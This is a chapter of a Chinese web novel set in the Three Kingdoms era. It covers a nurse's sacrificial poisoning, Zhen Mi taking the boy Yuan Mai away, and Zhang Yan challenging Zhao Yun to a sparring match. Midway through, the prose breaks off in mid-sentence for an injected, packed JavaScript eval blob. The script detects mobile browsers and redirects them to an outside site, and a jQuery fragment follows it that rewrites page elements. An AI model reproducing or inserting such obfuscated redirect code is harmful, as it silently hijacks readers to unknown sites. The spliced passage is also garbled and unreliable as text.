顾池难欢 作品

27.赵云

袁买的泪水大颗大颗地往下掉,精致的饭菜不再是他身份的证明,世家贵族的象征,而是地狱索命的无常。


他想求嫂嫂救救他,但望向那张美丽沉静的脸,他又开不了口。


到底是不相熟的,不过是挂着那点亲缘关系。


金娘却没有犹豫,她坐在桌前,一口又一口,只是最后,还是问:“二夫人,金麦会死吗?”


那是她唯一的孩子,还是老来得子,怎么会不宠爱。


“金娘死了,一个孩子,神女不至于容不下。”甄宓一边说着一边上前,为她的酒杯里倒满了酒水,说道,“喝点酒水吧,小心噎着。”


“神女仁善。”金娘扯出一抹笑,将酒水一口喝完。


她的眼神开始溃散,一命换一命,她已经让麦儿差点死过一次,又怎么忍心让他再一次死去,她不是忠仆,也不是位好母亲。


血腥味蔓延,金娘撑着最后一口气,抚摸上袁买的头,“小公子,切莫作茧自缚了。”


她模糊的目光撞上甄宓眼中的复杂,仿佛解脱地笑了,从二夫人的话语中她听出来了,如果她死了,这两个孩子就能活,如果小公子死了,她和麦儿也能活,可是,总得全了她们最后的主仆情份。


眼睁睁看着她倒下,袁买过往记忆涌现而上,无数个日日夜夜里,年幼的他被金娘抱在怀里,听着轻缓温柔的摇篮曲,缓缓闭上眼睛。


读书、识字、吃饭、玩耍,爹娘没有在的时间里,他都在金娘的陪伴中度过。


年幼时他时常问金娘,母亲是什么样子,在她的描述里,袁买不禁发问,金娘做了母亲要做的所有,为什么不是母亲。


那时,他不懂尊卑有别,不懂命中注定。


袁买小小的身子跪坐在金娘的身边,记忆里,她的手宽大、粗糙、温暖,常常包裹着他。


现在,他的两只手捧着她,感受到她的手温度逐渐流失,“金娘,娘······”


一声又一声地呼喊,直到喊累了,直到他的眼泪都流干了。


心底空落落的,好像什么都失去了,只剩下那些回忆。


袁家并不在意袁买这个小公子,这些年就只是让他有足够的吃穿用度,物质上是富足的,精神上就是匮乏的,走岔了路,又没有彻底走岔。


就这么一个陪在身边的人,都因为他彻底死了。


袁买连恨都恨不起来了。


“阿麦,起来吧,我带你走。”甄宓将这孩子抱在怀里,叹了口气。


立场不同,注定了你死我活的斗争,斩草不除根,春风吹又生,上位者心慈手软,在乱世里就不可能有登顶之机,所谓的仁善,只是没脏了自己的手。


名声是称王称霸的推手,死亡是称王称霸的代价。


活着,才是乱世里大部分人的首要任务。


她接手了送他们上路的任务,神女说,这是必经之路。


是什么的必经之路?是成为神女手下左膀右臂的必经之路?


神女要杀袁买,她求了情,张梁知晓后说她糊涂,且不说神女从不曾对孩子下手,就立场而言,她现在是甄宓,不是袁家二夫人,袁家人的死活她如何能插手。


人常言避嫌,常言尊卑有别,不管怎么说,神女是她们的老大,可劝诫,但万不可“恃宠生娇”,情感在名利场上,只能用一次。


甄宓和袁买没有感情,面都没怎么见过的人,谈什么感情不感情。


袁家最后的血脉,那是她最后的心软。


是非对错,神女没有指责也没有惩罚,只是让人给她送去了食盒,让她亲自送他们一路。


必须有人死,但这人是谁,有的选。


那是神女给她的,也是给金娘的体面。


袁买的手抓住了甄宓的衣裳,他此时哪里还不明白,自己能够活下去了。


低着头,他安静地跟着甄宓离开,只在踏出房门的最后一刻,回头再次深深看了一眼地上的金娘,面无表情的脸上,看不出任何情绪。


军营里,张燕把赵云拉到了比武场上。


他头脑简单,实在想不出其他拉拢这人的法子,既然是武学高手,那就练练,打服了就没话说。


张燕整日除了训练和排班神出鬼没的,也少上比武场比划,打不过他的不会练,打得过的懒得练。


难得见到他上去,还带了个陌生面孔,大家都上前围观。


“这谁啊?没见过。”


“不清楚,好像是新来的流民,张队长挺喜欢他,想拉进正式军。”


“难道是好苗子,否则怎么就直接能进正式军,我倒要看看。”


“那还用说,若不是好苗子,张队长还亲自练。”


男兵们围着讨论,女兵们也不逞多让,只是关注点又多了个容貌。


赵云那身量容貌,让人不注意都难,异性相吸,他好看,女兵们倒是没红脸,反倒吹起了口哨,流氓样子学了个十成十。


邺城一战早传开了,女子军的厉害也小有名气,赵云瞥眼看人群里明媚热烈的女子军,和以往见过的大家闺秀、寻常女子截然不同,还是抽了抽嘴角。


第一次听见有女子让他把衣服脱下来看看身材,若非控制住,他下意识都想拢一拢自己的衣服。


神女赐福的那天他就到了邺城,得到了锦囊,在黄巾军让得到锦囊者登记时他离开了,无意加入其中,何必凑热闹。


那锦囊他没扔,又辗转了几个地方,有一日碰上个人,说这锦囊瞧着价值不菲,他才想起这东西还在他腰上挂着,所以拿在手里,打开了里面。


人说锦囊妙计,他也是一时兴起。


“强挚壮猛1,胆识过人。”这是锦囊里写给他的,底下的落名是白锦。


他脑子一转便知晓了,那想必是黄巾军神女的名字。


在人群中的视线,也是来自那位神女,只是对方没有亲自见他,反倒让张燕来了。


常山真定,都是老乡。


他听过张燕的名字,原本叫褚燕,后来才改的姓,为了什么道义,他也不清楚,只知道这人挺厉害。


赵云原本是想四处走走,找个合适的主公,可惜生灵涂炭、战争频发,他的心思都在这些流民身上。


他出身是不错的,又少年成名,没正儿八经吃过苦,过过苦日子。


见着了流民的苦,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252946|164486||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


他也融入其中。


吃不饱,穿不暖,动乱,欺凌,人吃人,数不胜数,看花了他的眼,看进了他的心。


人在绝望时潜力无限,他明白了。


赵云突然想回邺城看看,那些当初跟着黄巾军的流民成什么样了,所以,他回来了。


几个月的时间,邺城天翻地覆,秩序井然,他都怀疑自己走错了地。


记性好有时候是好事,流民登记的那个人是当时站他身边的,身着破烂,一双眼睛麻木漆黑,脸上骨头突出,如今穿着干净整齐,脸上也红润有肉,瞧着生活就不错。


松了一口气,他也不知道为什么,他替他高兴。


这几日看在眼里,那些熟悉的面孔都大变样,往好的方向变。


有能力,赵云期间也混了几个队伍,听了许多消息,说张角要死了,说袁氏兄弟已经死了,但黄巾军想和冀州合作,骗冀州牧没死。


真真假假,假假真真,夸张的写实的都有。


赵云相信袁氏兄弟死了,邺城是袁家大本营,他们必须死。他也相信黄巾军想和冀州合作,因为曹操独大,冀州牧忠心耿耿,寻求出路,黄巾军何尝不是孤木独舟。


十有八九,暗地里已经有了算计。


但底下传闻总有来处,冀州内部恐怕问题不小。


他现在也管不着。


白锦想用他,让张燕来拉拢,赵云自己也不知道自己怎么想的。


他不喜欢黄巾军,但也不讨厌,乱世里的各方势力之一罢了。


没有拒绝,也不排斥,他有点想见一见这位神女。


“子龙,我们俩练练手,你若输了,就加入黄巾军,你若赢了,我便答应你个条件,如何?”


张燕自信自己不会输,本身就厉害,又有神女这段时间的调教和训练,更上一层楼。


即便眼前这个有几分本事,那也只是有几分本事罢了。


人外有人,山外有山的道理,他还是没有明白,被神女看上的武将,岂非寻常人。


赵云也不是叽叽歪歪、磨磨蹭蹭的人,既然都和对方来了,那就不会退。


“好,那就请褚兄和我练一练了。”


张燕瞳孔微缩,褚,好久没人提这个姓了,眼前人认识他。


咧嘴笑了一下,“还请赐教!”


白锦在检查新铸好的兵器,随机抽查确定可用,战场上刀光剑影,这种东西不能差。


千夜来传了消息,派往冀州的队伍已经出发了。


“主人,您多久动身?”他问。


没错,白锦自己也要亲自前往,若是顺利,一举拿下冀州。


“甄宓那边处理好了,让人教一教袁买,再等张燕那边的消息。”她说。


张燕带人去了练武场这事千夜也知道,那个叫做赵云的人恐怕就是主人的最终目标。


他听过这个名字,从前和白锦相依为命时,她偶尔会提起一些人和事。


只不过,千夜记得这个赵云,在主人口中似乎应该是刘备手下的。


没关系,不能为己用,他就悄悄替主人杀了。


越这么想,他面上越平静,让人看不出。